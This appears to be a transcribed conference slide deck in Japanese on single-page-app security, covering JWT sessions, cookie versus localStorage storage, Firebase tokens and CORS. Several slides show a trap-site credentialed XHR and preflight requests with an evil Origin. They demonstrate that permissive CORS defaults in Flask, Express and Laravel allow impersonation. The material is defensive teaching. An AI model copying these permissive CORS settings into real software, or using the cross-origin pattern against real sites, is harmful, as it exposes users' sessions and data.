Movatterモバイル変換


[0]ホーム

URL:


SPAセキュリティ入門~PHP Conference Japan 2021

449.4K Views

October 03, 21

スライド概要

シングルページアプリケーション(SPA)において、セッションIDやトークンの格納場所はCookieあるいはlocalStorageのいずれが良いのかなど、セキュリティ上の課題がネット上で議論されていますが、残念ながら間違った前提に基づくものが多いようです。このトークでは、SPAのセキュリティを構成する基礎技術を説明した後、著名なフレームワークな状況とエンジニアの技術理解の現状を踏まえ、SPAセキュリティの現実的な方法について説明します。

動画はこちら
https://www.youtube.com/watch?v=pc57hw6haXk

profile-image

徳丸本の中の人 OWASP Japanアドバイザリーボード EGセキュアソリューションズ取締役CTO IPA非常勤職員YouTubeチャンネル: 徳丸浩のウェブセキュリティ講座https://j.mp/web-sec-study

シェア

埋め込む»CMSなどでJSが使えない場合

(ダウンロード不可)

関連スライド

slide-thumbnail

SPAセキュリティ超入門

slide-thumbnail

ウェブセキュリティのありがちな誤解を解説する

slide-thumbnail

ウェブセキュリティの知識は普及しているか、徳丸本の著者が憂慮していること

slide-thumbnail

オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法

slide-thumbnail

SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方

slide-thumbnail

Webアプリケーション開発に潜むリスクのケーススタディ

各ページのテキスト
1.

SPAセキュリティ入門EGセキュアソリューションズ株式会社徳丸 浩

    2.

    徳丸浩の自己紹介• 経歴– 1985年 京セラ株式会社入社– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立• 経験したこと– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当– その後、企業向けパッケージソフトの企画・開発・事業化を担当– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ• 現在––––EGセキュアソリューションズ株式会社取締役CTOhttps://www.eg-secure.co.jp/独立行政法人情報処理推進機構 非常勤研究員https://www.ipa.go.jp/security/著書「体系的に学ぶ 安全なWebアプリケーションの作り方(第2版)」(2018年6月)YouTubeチャンネル「徳丸浩のウェブセキュリティ講座」https://j.mp/web-sec-study– 技術士(情報工学部門)© 2021 Hiroshi Tokumaru2

    3.

    本日お話したいこと• SPA(Single Page Application)のセキュリティの基礎• JWT(JSON Web Token)をセッション管理に用いることの是非• CookieとlocalStorageの比較に対する論争について• CORSを甘く見てはいけない• どうすればよいか© 2021 Hiroshi Tokumaru3

      4.

      前提知識の復習• JWT : 後で説明します• Cookie– サーバーの指示でブラウザに保存されるデータ– アクセスの度にクッキーがサーバーに送信される• localStorage– JavaScript操作でブラウザに保存(set)され、参照(get)、削除(remove)できる– シンプルなキー・バリュー・ストレージでサーバーに自動送信されない– アクセスの範囲は同一オリジン、消さない限り残り続ける• ステートレス・トークン– サーバーに問い合わせなくても通行可能な切符(のようなもの)• ステートフル・トークン– 都度サーバーに問い合わせて通行可能か判断する切符(のようなもの)© 2021 Hiroshi Tokumaru4

        5.

        ネットでの議論の振り返り© 2021 Hiroshi Tokumaru5

          6.

          HTML5のLocal Storageを使ってはいけない(翻訳)本気で申し上げます。local storageを使わないでください。local storageにセッション情報を保存する開発者がこれほど多い理由について、私にはさっぱり見当がつきません。しかしどんな理由であれ、その手法は地上から消えてなくなってもらう必要がありますが、明らかに手に負えなくなりつつあります。私は毎日のように、重要なユーザー情報をlocal storageに保存するWebサイトを新たに開いては頭を抱え、それをやらかして致命的なセキュリティ問題への扉を開いてしまう開発者がいかに多いかを思い知ってつらい気持ちになっています。それでは、local storageとは何か、そしてlocal storageにセッションデータを保存してはならない理由について、私の魂の奥底の叫びをお伝えしたいと思います。https://techracho.bpsinc.jp/hachi8833/2019_10_09/808516

          7.

          おーい磯野ー,Local StorageにJWT保存しようぜ!ある日,HTML5のLocal Storageを使ってはいけない がバズっていた.この記事でテーマになっていることの1つに「Local StorageにJWTを保存してはいけない」というのがある.しかし,いろいろ考えた結果「そうでもないんじゃないか」という仮定に至ったのでここに残しておく.【中略】一見すると,これはLocal Storageを使う場合に発生する懸念事項をクリアしているように見えた.しかしよく考えると,攻撃者にとって真に重要なのは認証トークンでは無く,認証トークンを使って何をするか,ということのはずだ.このことについては,Why HttpOnly Won't Protect Youでも述べられている.https://scrapbox.io/musou1500/%E3%81%8A%E3%83%BC%E3%81%84%E7%A3%AF%E9%87%8E%E3%83%BC%EF%BC%8CLocal_Storage%E3%81%ABJWT%E4%BF%9D%E5%AD%98%E3%81%97%E3%82%88%E3%81%86%E3%81%9C%EF%BC%817

          8.

          どうしてリスクアセスメントせずに JWT をセッションに使っちゃうわけ?はあああ〜〜〜〜頼むからこちらも忙しいのでこんなエントリを書かせないでほしい (挨拶)。もしくは僕を暇にしてこういうエントリを書かせるためのプログラマーを募集しています (挨拶)。JWT (JSON Web Token; RFC 7519) を充分なリスクの見積もりをせずセッションに使う事例が現実に観測されはじめ、周りにもそれが伝染しはじめているようなので急いで書くことにします。 (ステートレスな) JWT をセッションに使うことは、セッション ID を用いる伝統的なセッション機構に比べて、あらゆるセキュリティ上のリスクを負うことになります。https://co3k.org/blog/why-do-you-use-jwt-for-session8

          9.

          JWT認証、便利やん?どうして JWT をセッションに使っちゃうわけ? - co3k.org に対して思うことを書く。(ステートレスな) JWT をセッションに使うことは、セッション ID を用いる伝統的なセッション機構に比べて、あらゆるセキュリティ上のリスクを負うことになります。と大口叩いておいて、それに続く理由がほとんどお粗末な運用によるものなのはどうなのか。最後に、でもそこまでしてステートレスに JWT を使わなくてはいけないか?とまで行っていますが、JWT認証のメリットはその実装のシンプルさとステートレスなことにあります。現実的には実際はDB参照とか必要になったりするんですが、ほとんど改ざん検証だけで済むのは魅力的です。トレードオフでリアルタイムでユーザー無効化ができないことくらいですかね。ライブラリなんて使う必要ないほどシンプルだし、トレードオフさえ許容できればむしろ、なぜこれ以上に複雑な認証システム使わないといけないの?複雑さゆえにライブラリが必要になったり、そのライブラリが脆弱性を抱えていたり、そもそも使い方を間違えてしまったりするんでしょう。https://auth0.hatenablog.com/entry/2018/09/21/0041319

          10.

          SPA(Single Page Application)とは?© 2021 Hiroshi Tokumaru10

            11.

            SPA以前のウェブ=MPA(Multi-Page Application)JavaScriptで代入した値は次のページではリセットされる→ セッション管理の機能によりデータを引き継ぐこんにちは次へどうぞNEXTNEXT処理処理© 2021 Hiroshi TokumaruありがとうございましたNEXT処理11

              12.

              SPA(Single Page Application)の構造ページ遷移をしないのでJavaScriptの変数は保持される。ただし、ページ遷移、戻る、リロードで変数の値はリセットされるSPA→ セッション管理あるいはlocalStorageによりデータを引き継ぐHTML XHR/Fetchコンテンツ配信Webサーバー© 2021 Hiroshi TokumaruJSON処理APIサーバー12

                13.

                SPAといってもセキュリティの基本は同じ• フロント側(JavaScript)– クロスサイトスクリプティング(DOM Base XSS)– オープンリダイレクト– evalインジェクション– …• サーバー側(API)– SQLインジェクション– クロスサイトスクリプティング(反射型、持続型)– クロスサイトリクエストフォージェリ(CSRF)– …• SPAのセキュリティ = APIのセキュリティ + JavaScriptのセキュリティ– と言っても過言ではない© 2021 Hiroshi Tokumaru13

                  14.

                  SPAのサーバー構成Webサーバーhttps://www.example.comAPIサーバーhttps://api.example.comJSONHTMLSPA© 2021 Hiroshi Tokumaru認証サーバーhttps://auth.example.comJWT 等Web、API、認証の各サーバーは、まとめることもあれば、更に分離する場合もある14

                    15.

                    SPAとCORS(Cross-Origin Resource Sharing)© 2021 Hiroshi Tokumaru15

                      16.

                      この項で説明すること• JavaScript で複数サーバをまたがって 通信する(XMLHttpRequestやFetch API)場合には CORS(Cross-Origin Resource Sharing) の理解が不可欠です• しかし、最近は「CORSはフレームワークにまかせておけば大丈夫」という風潮があるようです• フレームワーク任せのCORS対応では、大きな落とし穴があることを説明します© 2021 Hiroshi Tokumaru16

                        17.
                        [beta]
                        CORSがなかった時代は同一オリジンのみ通信できたWebサーバーhttps://www.example.comHTML<div>xxx</div><script> … </script>JSON{ "id": 123 }同一オリジンとは、スキーム(https)ホスト(www.example.com)ポート(443)がすべて同一である状態IE7evar req = new XMLHttpRequest();req.open("GET", "/api");© 2021 Hiroshi Tokumaru17
                        18.

                        CORSがなかった頃のセキュリティ保護=同一オリジンポリシー罠サイトhttps://evil.example.orgWebサーバーhttps://www.example.comHTMLIE7eIE7CORSがないと、このリクエストはエラーになっていた = 安全だが不便var req = new XMLHttpRequest()req.open("GET", "https://www.example.com/api")© 2021 Hiroshi Tokumaru18

                        19.
                        [beta]
                        CORSによるセキュリティ保護(現在のブラウザ)罠サイトhttps://evil.example.orgWebサーバー 兼 APIサーバーhttps://www.example.com{HTML}"email": "[email protected]","tel": "03-1290-5678"Google ChromeError: CORSヘッダがないAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: http://evil.example.orgconst req = new XMLHttpRequest()req.open("GET", "https://www.example.com/api")req.withCredentials = true© 2021 Hiroshi Tokumaruクッキーは飛びレスポンスも返るが、上の2行が返されないと、レスポンスは受け取れない19
                        20.

                        Cookieを伴うXHRは厳しい条件が課せられている• CORSのルールは複雑だが、Cookieを使わない場合は、設定が甘くても実害がないケースが多い• Cookieを伴う場合は間違えると大変!– 【必須】Access-Control-Allow-Credentials: true– 【必須】 Access-Control-Allow-Origin: http://www.example.org– Access-Control-Allow-Origin: * ではレスポンスを受け取れない• Cookieを伴わないXHRは Access-Control-Allow-Origin: * でレスポンスを受け取れるが、Cookieがない=認証がない ので通常大問題ではない© 2021 Hiroshi Tokumaru20

                        21.

                        現在のフレームワークはどうなっているか?© 2021 Hiroshi Tokumaru21

                          22.

                          Flask (Python用軽量フレームワーク)from flask import Flask, session, jsonifyfrom flask_cors import CORS # 便利なパッケージを導入app = Flask(__name__)CORS(app, supports_credentials=True)# ...OPTIONS / HTTP/1.1User-Agent: Mozilla/5.0Accept: */*Origin: https://evil.example.comHost: www.example.comAccess-Control-Request-Method: DELETEAccess-Control-Request-Headers: x-evilReferer: https://evil.example.com/HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Allow: GET, HEAD, OPTIONSAccess-Control-Allow-Origin:https://evil.example.comAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Headers: x-evilAccess-Control-Allow-Methods: DELETE, GET,HEAD, OPTIONS, PATCH, POST, PUTVary: OriginAccess-Control-Allow-Origin: https://evil.example.comAccess-Control-Allow-Credentials:Content-Length:true0Server: Werkzeug/2.0.1 Python/3.9.5Access-Control-Allow-Headers: x-evilDate:GET,Wed,HEAD,29 Sep2021 07:30:57Access-Control-Allow-Methods: DELETE,OPTIONS,PATCH, GMTPOST, PUT© 2021 Hiroshi Tokumaru22

                          23.
                          [beta]
                          Express (JavaScript用軽量かつ人気のフレームワーク)const express = require('express')const cors = require('cors') // 便利なパッケージconst app = express()app.use(cors({ origin: true, credentials: true }))// ...OPTIONS / HTTP/1.1User-Agent: Mozilla/5.0Accept: */*Origin: https://evil.example.comHost: www.example.comAccess-Control-Request-Method: DELETEAccess-Control-Request-Headers: x-evilReferer: https://evil.example.com/HTTP/1.1 204 No ContentX-Powered-By: ExpressAccess-Control-Allow-Origin:https://evil.example.comAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods:GET,HEAD,PUT,PATCH,POST,DELETEAccess-Control-Allow-Headers: x-evilContent-Length:0Access-Control-Allow-Origin:https://evil.example.comDate: Wed, 29Sep 2021 07:55:24 GMTAccess-Control-Allow-Credentials:trueConnection:keep-aliveAccess-Control-Allow-Methods:GET,HEAD,PUT,PATCH,POST,DELETEKeep-Alive:timeout=5Access-Control-Allow-Headers:x-evil© 2021 Hiroshi Tokumaru23
                          24.
                          [beta]
                          われらが Laravel はどうか?$ composer create-project laravel/laravel .… 略$ cat config/cors.php # Laravel 7 以降、laravel-corsが自動的にインストールされる<?phpreturn [/* 省略 */'paths' => ['api/*', 'sanctum/csrf-cookie'],'allowed_methods' => ['*'],'allowed_origins' => ['*'],'allowed_origins_patterns' => [],'allowed_headers' => ['*'],'exposed_headers' => [],'max_age' => 0,'supports_credentials' => false, // デフォルトでは Cookie は送信されない];© 2021 Hiroshi Tokumaru24
                            25.
                            [beta]
                            Laravel$ cat config/cors.php...'supports_credentials' => false,];OPTIONS /api/index HTTP/1.1User-Agent: Mozilla/5.0Accept: */*Origin: https://evil.example.comHost: www.example.comAccess-Control-Request-Method: DELETEAccess-Control-Request-Headers: x-evilReferer: https://evil.example.com/HTTP/1.0 204 No ContentHost: www.example.comDate: Wed, 29 Sep 2021 08:14:51 GMTX-Powered-By: PHP/8.0.8Access-Control-Allow-Origin: *Access-Control-Allow-Methods: DELETEAccess-Control-Allow-Headers: x-evilAccess-Control-Max-Age: 0Access-Control-Allow-Origin:*Content-type: text/html; charset=UTF-8Access-Control-Allow-Methods:DELETEVary: Access-Control-Request-Method,Access-Control-Request-HeadersAccess-Control-Allow-Headers:x-evilConnection: closeDate: Wed, 29 Sep 2021 08:14:51 GMTCache-Control: no-cache, private© 2021 Hiroshi Tokumaru25
                              26.
                              [beta]
                              Laravel$ cat config/cors.php...'supports_credentials' => true,];// クッキーも使いたいよねーOPTIONS / HTTP/1.1User-Agent: Mozilla/5.0Accept: */*Origin: https://evil.example.comHost: www.example.comAccess-Control-Request-Method: DELETEAccess-Control-Request-Headers: x-evilReferer: https://evil.example.com/HTTP/1.0 204 No ContentHost: www.example.comDate: Wed, 29 Sep 2021 08:25:52 GMTX-Powered-By: PHP/8.0.8Access-Control-Allow-Origin:https://evil.example.comAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: DELETEAccess-Control-Allow-Headers: x-evilAccess-Control-Max-Age: 0Access-Control-Allow-Origin:https://evil.example.comContent-type:text/html; charset=UTF-8Access-Control-Allow-Credentials:Connection: truecloseCache-Control:Access-Control-Allow-Methods:DELETE no-cache, privateDate: Wed, 29 Sep 2021 08:25:52 GMTAccess-Control-Allow-Headers:x-evilAccess-Control-Request-Method,Vary: Origin,Access-Control-Request-Headers© 2021 Hiroshi Tokumaru26
                              27.

                              フレームワークの現状について• 各フレームワークにてCORSに簡単に対応できるパッケージ / プラグインが用意されている• 細かく設定しなくても、デフォルトで「なんでもあり」という設定になっている場合がある• クッキーによるセッション管理を行っている場合、CORSの設定不備でXSS脆弱性等がなくてもなりすましができてしまう• HTTPリクエストヘッダにトークンをつけている場合は、CORS設定不備があってもなりすましはされない– リクエストヘッダはJavaScriptにより設定するので、同一オリジンポリシーにより保護される© 2021 Hiroshi Tokumaru27

                                28.

                                Authorizationヘッダにトークンを入れる場合© 2021 Hiroshi Tokumaru28

                                  29.

                                  ヘッダにトークンを付与する場合はCORS不備の影響は少ない罠サイトhttps://evil.example.orgWebサーバー 兼 APIサーバーhttps://www.example.comconst token = localStorage.getItem('token')https://www.example.comtoken別オリジンのlocalStorageにはアクセス不可eyJXXXXXXXXX© 2021 Hiroshi TokumaruAuthorization ヘッダをつけたくても、罠サイトにはトークンが保存されていないのでつけられない→ CORS的にはヘッダのほうが安全29

                                  30.

                                  Firebase REST APIで学ぶJWTこの項では、代表的なサーバーレス基盤であるFirebaseのRESTAPIを用いて、JWTの基本を学びます© 2021 Hiroshi Tokumaru30

                                    31.

                                    Firebaseとは• Googleが提供するサーバーレスプラットフォーム• 自前のサーバーを用意することなく、各種機能を従量課金で利用可能– 無料のSparkプランもあり• 以下の機能を提供––––––Authentication : 認証基盤Realtime Database : データベース(非SQL)Cloud Firestore :データベース(非SQL)Cloud Storage : ファイル保管庫Firebase Hosting : ウェブサイトのホスティングCloud Functions : 様々なトリガーにより機能を実行する• REST APIの他、様々な言語向けのSDKを提供© 2021 Hiroshi Tokumaru31

                                      32.

                                      Firebaseを用いたSPAのサーバー構成APIサーバーWebサーバー(Firebase Hosting)認証サーバーhttps://firestore.googleapis.com https://identitytoolkit.googleapis.comhttps://www.example.comHTML画像CSSJavaScriptJSONJWT 等SPA© 2021 Hiroshi Tokumaru32

                                      33.

                                      Firebase Authentication の設定画面https://console.firebase.google.com/project/firebbs-XXXXX/authentication/users33

                                      34.

                                      Firebase Authentication で使える認証プロバイダhttps://console.firebase.google.com/project/firebbs-XXXXX/authentication/providers34

                                      35.
                                      [beta]
                                      ログイン処理のPOSTリクエスト(要旨)POST /v1/accounts:signInWithPassword?key=AIzaSyBPB4y62at_… HTTP/1.1Host: identitytoolkit.googleapis.comContent-Type: application/jsonOrigin: https://www.example.comUser-Agent: MozillaAccept: */*Accept-Encoding: gzip, deflateConnection: keep-aliveContent-Length: 98{"email": "[email protected]","password": "password","returnSecureToken": true}© 2021 Hiroshi Tokumaru35
                                        36.
                                        [beta]
                                        ログイン処理のHTTPレスポンス(要旨)HTTP/1.1 200 OKこのリクエストの前にプリフライトリクエストが飛ぶが自動的に許可さContent-Type: application/json; charset=UTF-8れているContent-Length: 1372Access-Control-Allow-Origin: https://www.example.com{}"kind": "identitytoolkit#VerifyPasswordResponse","localId": "MhdJidRysBNPdHQ1zHIIaGE363y2","email": "[email protected]",これがJWT(IDトークン)"displayName": "","idToken": "eyJhbGciOiJSUzI1NiIs … AJfEzAxQ3PS90A","registered": true,"refreshToken": "ACzBnCjMDis3mBBLVijV … 6AaswVqvc5Z0E4AkX3FA","expiresIn": "3600"リフレッシュトークン(後述)© 2021 Hiroshi Tokumaru36
                                          37.

                                          JWTの構造ヘッダー(Base64URLエンコード)ペイロード(Base64URLエンコード)署名https://jwt.io/37

                                          38.

                                          JWTとは(1)••••JWT (RFC 7519)は認証トークンの標準フォーマットの一つヘッダー . ペイロード . 署名 からなる。いずれもbase64urlエンコードJWTはOpenID Connect などで認証情報の持ち運びに利用されるヘッダーの例(エンコード前){アルゴリズム: RS256形式の署名"alg": "RS256","kid": "7b87112375427d657f5e25ca01d565e592a231db","typ": "JWT"}JWTであることを示す署名鍵の識別子• このJSONをBase64エンコードすると eyJ で始まるので、eyJがJWTの代名詞となっている© 2021 Hiroshi Tokumaru38

                                            39.
                                            [beta]
                                            JWTとは(2)• ペイロードの例(エンコード前)JWT の発行者 (issuer) の識別子{"iss": "https://securetoken.google.com/firebbs-XXXXX","aud": "firebbs-XXXXX","auth_time": 1632916659,JWT の受取先認証日時(エポックタイム)"sub": "MhdJidRysBNPdHQ1zHIIaGE363y2",ユーザーの一意な識別子(不変のもの)"iat": 1632966032,"exp": 1632969632,}JWT発行日時(エポックタイム)JWTの有効期限(エポックタイム)© 2021 Hiroshi Tokumaru39
                                              40.

                                              JWTとは(3)• 署名部は、バイナリ形式の署名をbase64urlエンコードしたもの。署名パートはJSON形式ではない• 署名がないと、ペイロードの改ざんが簡単にできてしまうAPIサーバー認証サーバー{}"sub": 1235,"exp": 17xxx{}aliceさんですね© 2021 Hiroshi Tokumaru"sub": 1236,"exp": 17xxxbobです40

                                                41.

                                                トークンに署名つけないなんて、ありえない…と思うでしょ© 2021 Hiroshi Tokumaru41

                                                  42.

                                                  ありました© 2021 Hiroshi Tokumaru42

                                                    43.

                                                    [独自記事]7pay不正利用問題、「7iD」に潜んでいた脆弱性の一端が判明セブン&アイ・ホールディングスが決済サービス「7pay(セブンペイ)」の不正利用を受けて外部のIDからアプリへのログインを一時停止した措置について、原因となった脆弱性の一端が明らかになった。日経xTECHの取材で2019年7月12日までに分かった。外部IDとの認証連携機能の実装に不備があり、パスワードなしで他人のアカウントにログインできる脆弱性があったという。同社は2019年7月11日午後5時、FacebookやTwitter、LINEなど5つの外部サービスのIDを使ったログインを一時停止した。「各アプリ共通で利用しているオープンIDとの接続部分にセキュリティー上のリスクがある恐れがあるため」(広報)としている。https://xtech.nikkei.com/atcl/nxt/news/18/05498/ より引用43

                                                      44.

                                                      https://www.businessinsider.jp/post-194660 より引用44

                                                      45.

                                                      https://www.businessinsider.jp/post-194660 より引用45

                                                      46.

                                                      トークンが受け取れてしまう酷い脆弱性だが、7pay事件の原因ではないそうですhttps://www.businessinsider.jp/post-194660 より引用46

                                                      47.

                                                      JWT(IDトークン)による認証・認可制御© 2021 Hiroshi Tokumaru47

                                                        48.

                                                        Cloud Firestore (データベース)の設定画面https://console.firebase.google.com/project/firebbs-31a11/firestore/data/~2Farticles~2FX…48

                                                        49.
                                                        [beta]
                                                        Cloud Firestore の認可設定画面認証ユーザのみ読み書きを許可するという一番簡単な認可ルールrules_version = '2';service cloud.firestore {match /databases/{database}/documents {match /{document=**} {allow read, write: if request.auth.uid != null;}IDトークンのチェックが自動的に行われ、認証状態を}request.authオブジェクトが保持している}https://console.firebase.google.com/project/firebbs-XXXXX/firestore/rules49
                                                        50.

                                                        コンテンツ取得のGETリクエスト(要旨)GET /v1/projects/firebbs-XXXXX/databases/(default)/documents/articles HTTP/1.1Host: firestore.googleapis.comOrigin: https://www.example.comAuthorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjdiODcx … xLv5Dc8uPYSPhP0xxQ1wUser-Agent: MozillaAuthorizationヘッダにAccept: */*Accept-Encoding: gzip, deflateBearerトークンとしてConnection: closeIDトークンを付与© 2021 Hiroshi Tokumaru50

                                                          51.
                                                          [beta]
                                                          コンテンツ取得のHTTPレスポンス(要旨)HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Content-Length: 513Access-Control-Allow-Origin: https://www.example.comAccess-Control-Allow-Credentials: true{"documents": [{"name": "projects/firebbs-31a11/databases/(default)/documents/articles/XnVM…","fields": {"uid": {"stringValue": "MhdJidRysBNPdHQ1zHIIaGE363y2"},"comment": {"stringValue": "PHPカンファレンス2021にようこそ"},© 2021 Hiroshi Tokumaru51
                                                            52.

                                                            JWTのタイムアウトとリフレッシュ© 2021 Hiroshi Tokumaru52

                                                              53.

                                                              この項で説明すること• JWTはサーバーに問い合わせることなくログイン状態を持ち運べる• 元々OpenID Connect等ID連携用に設計されたが、セッション管理にも便利じゃんということで大流行• でも、サーバーに問い合わせなくても良いということは、サーバー側でセッション破棄することができない• この緩和策としてJWTのタイムアウトとリフレッシュを使います© 2021 Hiroshi Tokumaru53

                                                                54.

                                                                JWTの有効期限とリフレッシュ• JWTは一々認証サーバー側に問い合わせしなくてもJWT単体で認証状態を確認できる(署名鍵は必要)• JWTに有効期限がない、あるいは有効期限が非常に長いと、JWTの無効化が難しい• このため、JWTは通常有効期限を定めて、有効期限が切れたら認証サーバーに再発行してもらう(リフレッシュ)• Firebase AuthenticationのREST APIが発行するJWTの有効期限は1時間(3600秒)© 2021 Hiroshi Tokumaru54

                                                                  55.
                                                                  [beta]
                                                                  有効期限が切れたJWTでアクセスすると401になるHTTP/1.1 401 UnauthorizedContent-Type: application/json; charset=UTF-8Content-Length: 123Access-Control-Allow-Origin: https://www.example.comAccess-Control-Allow-Credentials: true{"error": {"code": 401,"message": "Missing or invalid authentication.","status": "UNAUTHENTICATED"}}© 2021 Hiroshi Tokumaru55
                                                                    56.
                                                                    [beta]
                                                                    トークンリフレッシュのPOSTリクエスト(要旨)POST /v1/token?key=AIzaSyBPXXXXXXXXXXXXXXXXXXXXm2LAjks HTTP/1.1Host: securetoken.googleapis.comContent-Type: application/jsonUser-Agent: MozillaOrigin: https://www.example.comリフレッシュ要求の入力Content-Length: 292値としてリフレッシュトークンを指定{"grant_type":"refresh_token","refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx7O_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_Gr94uHC5S_NEOHkDh3w"}© 2021 Hiroshi Tokumaru56
                                                                      57.
                                                                      [beta]
                                                                      トークンリフレッシュのHTTPレスポンス(要旨)HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Content-Length: 2239Access-Control-Allow-Origin: https://www.example.com{"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ","expires_in": "3600","token_type": "Bearer","refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx … b7PFkTmz_Gr94uHC5S_NEOHkDh3w","id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ","user_id": "MhdJidRysBNPdHQ1zHIIaGE363y2","project_id": "592373516447"リフレッシュされたIDトークンは、今後1時間有効になる}© 2021 Hiroshi Tokumaru57
                                                                        58.

                                                                        ユーザー セッションの管理Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)および更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れとなります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次のいずれかが発生した場合にのみ有効期限が切れます。• ユーザーが削除された• ユーザーが無効にされた• ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など)Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッションをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能があります。https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用58

                                                                          59.

                                                                          ユーザー セッションの管理Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)および更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れとなります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次のいずれかが発生した場合にのみ有効期限が切れます。• ユーザーが削除された• ユーザーが無効にされた• ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など)Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッションをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能があります。https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用59

                                                                            60.

                                                                            ログアウトはどうする?• IDトークン(JWT)を無効化するAPIがあれば、それを使えばよいが、ない場合はトークンをクライアントから削除する• 「完全なログアウト」を実現する方法– JWTの有効期限を極限まで短くする(ステートレスの性質が薄れる)– JWTの拒否リスト(Deny List)を用いる(サーバー側で管理=ステートを持つ)– APIゲートウェイでセッション管理する(後述)© 2021 Hiroshi Tokumaru60

                                                                              61.

                                                                              APIゲートウェイの利用(マイクロソフトの解説より)APIゲートウェイにてセッション管理を行えば即時ログアウトは容易に実現できるhttps://docs.microsoft.com/ja-jp/azure/architecture/microservices/design/gateway61

                                                                              62.

                                                                              IDやパスワードをだまし取ろうとするページについて(Yahoo!)フィッシングに対する対応方法の記事https://support.yahoo-net.jp/PccYjcommon/s/article/H00001131462

                                                                              63.

                                                                              パスワードを変更したら、各トークンはどうなる?• Firebase Authentication REST APIの場合、パスワード変更後– IDトークンは有効期限内は有効のまま– リフレッシュトークンは直ちに無効化される– パスワード変更後最長1時間はセッション乗っ取りされ続ける• IDトークンはステートレス(サーバーに確認しない)、リフレッシュトークンはステートフルなので自然な結果• Firebase Authenticationの言語毎に用意されたSDKの場合は即時ログアウトを含め細かい制御ができる© 2021 Hiroshi Tokumaru63

                                                                                64.

                                                                                Laravel Sanctumの場合この項では、Laravel Sanctumが提供するステートフル・トークンの概要と、セキュリティ要件の実現方法について説明します© 2021 Hiroshi Tokumaru64

                                                                                  65.

                                                                                  Sanctumとは?イントロダクションLaravel Sanctum(サンクタム、聖所)は、SPA(シングルページアプリケーション)、モバイルアプリケーション、およびシンプルなトークンベースのAPIに軽い認証システムを提供します。Sanctumを使用すればアプリケーションの各ユーザーは、自分のアカウントに対して複数のAPIトークンを生成できます。これらのトークンには、そのトークンが実行できるアクションを指定するアビリティ/スコープが付与されることもあります。仕組みLaravel Sanctumは、2つの別々の問題を解決するために存在します。ライブラリを深く掘り下げる前に、それぞれについて説明しましょう。https://readouble.com/laravel/8.x/ja/sanctum.html より引用65

                                                                                    66.

                                                                                    Sanctumとは?APIトークン1つ目にSanctumは、OAuthの複雑さなしに、ユーザーにAPIトークンを発行するために使用できるシンプルなパッケージです。この機能は、「パーソナルアクセストークン」を発行するGitHubやその他のアプリケーションに触発されています。たとえば、アプリケーションの「アカウント設定」に、ユーザーが自分のアカウントのAPIトークンを生成できる画面があるとします。Sanctumを使用して、これらのトークンを生成および管理できます。これらのトークンは通常、非常に長い有効期限(年)がありますが、ユーザーはいつでも手動で取り消すことができます。Laravel Sanctumは、ユーザーAPIトークンを単一のデータベーステーブルに保存し、有効なAPIトークンを含む必要があるAuthorizationヘッダを介して受信HTTPリクエストを認証することでこの機能を提供します。Sanctumのトークンはステートフルhttps://readouble.com/laravel/8.x/ja/sanctum.html より引用66

                                                                                      67.

